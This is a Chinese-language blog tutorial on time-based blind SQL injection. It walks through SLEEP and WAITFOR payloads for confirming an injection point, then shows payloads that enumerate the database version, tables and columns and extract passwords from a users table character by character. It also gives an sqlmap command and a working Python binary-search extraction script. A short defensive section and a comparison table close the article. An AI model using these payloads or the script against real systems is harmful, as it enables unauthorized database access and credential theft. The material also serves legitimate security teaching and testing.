当前位置: 首页 > news >正文

SQL注入之时间盲注攻击流程详解

目录

一、时间盲注原理

二、完整攻击流程

1. 注入点确认

2. 基础条件判断

3. 系统信息收集

(1)获取数据库版本

(2)获取当前数据库名

4. 数据提取技术

(1)表名枚举

(2)列名猜测

(3)逐字符数据提取

5. 自动化优化技巧

(1)二分法加速判断

(2)多线程爆破

三、工具辅助利用

1. SQLMap自动化注入

2. 手动脚本示例(Python)

四、防御方案

五、时间盲注 vs 报错注入

六、总结


一、时间盲注原理

​时间盲注(Time-Based Blind SQL Injection)​​是SQL注入的高级利用方式,适用于以下场景:

  • 页面无数据回显(无显示位)
  • 数据库错误信息被屏蔽
  • HTTP响应状态码统一(无布尔型注入条件)

​核心原理​​:通过构造带有​​时间延迟函数​​的SQL语句,根据页面响应时间判断注入条件是否成立。例如:

' AND IF(1=1, SLEEP(5), 0) -- 

若页面响应延迟5秒,则说明条件成立(1=1为真)。


二、完整攻击流程

1. 注入点确认

​目标​​:验证是否存在时间盲注漏洞
​Payload构造​​:

' AND SLEEP(5) -- 

' ; WAITFOR DELAY '0:0:5' -- (MSSQL)

​判断依据​​:

  • 正常请求响应时间 < 1秒
  • 注入后响应时间 ≥ 5秒则存在漏洞

2. 基础条件判断

​目标​​:通过延迟验证布尔条件
​示例(MySQL)​​:

' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) -- 
  • 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
  • 可逐步调整阈值(二分法)快速定位准确值

3. 系统信息收集

(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) -- 

判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本

(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) -- 

通过逐字符判断(d的ASCII为100),最终拼接得到完整库名


4. 数据提取技术

(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) -- 

验证首个表名的首字母是否为'u'(ASCII 117),即常见users表

(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) -- 

判断users表首列首字母是否为'i'(id列)

(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) -- 

判断首行密码首字符是否为'a'(ASCII 97)


5. 自动化优化技巧

(1)二分法加速判断
  • 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
  • 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
  • 对多个字符位置同时发起请求
  • 需注意目标服务器的并发限制

三、工具辅助利用

1. SQLMap自动化注入

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3

参数说明:

  • --technique=T:指定时间盲注技术
  • --time-sec=3:定义延迟阈值

2. 手动脚本示例(Python)

import requests
import time

target_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "

for position in range(1, 20):
    low = 0
    high = 255
    while low <= high:
        mid = (low + high) // 2
        current_payload = payload.format(position, mid)
        start_time = time.time()
        requests.get(target_url + current_payload)
        elapsed = time.time() - start_time
        if elapsed > 3:
            low = mid + 1
        else:
            high = mid - 1
    print(f"Position {position}: {chr(high)}")

四、防御方案

  1. ​预编译语句(Prepared Statements)​

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  2. ​输入过滤​

    • 白名单验证数字类型:user_id = int(input_data)
    • 过滤特殊字符:'";<>()&|
  3. ​权限控制​

    • 数据库账户仅授予最小必要权限
    • 禁用敏感函数(如SLEEP()EXEC
  4. ​WAF防护​

    • 部署Web应用防火墙拦截时间盲注特征
    • 设置请求超时阈值(如单请求最长处理时间2秒)

五、时间盲注 vs 报错注入

对比项时间盲注报错注入
适用场景无任何回显有错误信息回显
攻击速度极慢(需等待延迟)较快
检测难度更难被传统WAF识别易被基于错误的规则检测
典型函数SLEEP()、BENCHMARK()updatexml()、extractvalue()
数据提取方式逐字符二分法判断直接显示在错误信息中

六、总结

时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:

  • ​精准的延迟控制​​:需考虑网络波动干扰
  • ​高效的字符猜测策略​​:优先使用二分法
  • ​自动化脚本辅助​​:手动测试效率极低

相关文章:

  • SLAM文献之DM-VIO: Delayed Marginalization Visual-Inertial Odometry
  • 大模型之Hugging Face
  • 信奥还能考吗?未来三年科技特长生政策变化
  • 【开发教程】学生团队项目开发协调管理文档库构建以及使用指南
  • #4 为什么要物联以及 物联网的整体结构
  • linux tracepoint系列宏定义(TRACE_EVENT,DEFINE_TRACE等)展开过程分析之三 define_trace.h头文件
  • 【blender小技巧】Blender导出带贴图的FBX模型,并在unity中提取材质模型使用
  • telepresence使用指南
  • 【LH-开发记录】
  • Dockerfile 学习指南和简单实战
  • 一文介绍关于多模态的基础知识 !!
  • PHP弱类型hash比较缺陷
  • 高速连接器设计的技术挑战和解决方案
  • Dify智能体平台源码二次开发笔记(5) - 多租户的SAAS版实现(2)
  • 添加登录和注册功能
  • 图像预处理(OpenCV)-part2
  • 3.6 函数图像描绘
  • 3.6 集合
  • SpringBoot Starter自定义:创建可复用的自动配置模块
  • 基于QtC++音乐播放器whisper语音转文字歌词解析
  • 企业称县政府为拆迁开发借款2亿元逾期未还,河北青龙县:开发搁置,将继续沟通
  • 乌克兰基辅遭大规模袭击,已致12人死亡
  • 上海开展2025年“人民城市 文明风采”群众性主题活动
  • 国防部就美军“压力测试”大演习答澎湃:中国从来不信邪,不怕打,不怕压
  • 福建一改造项目1人高处坠亡且事故迟报41天,住建厅约谈相关责任单位
  • “电化长江”的宜昌成果:船舶航运停靠都能用电,助力一江清水向东流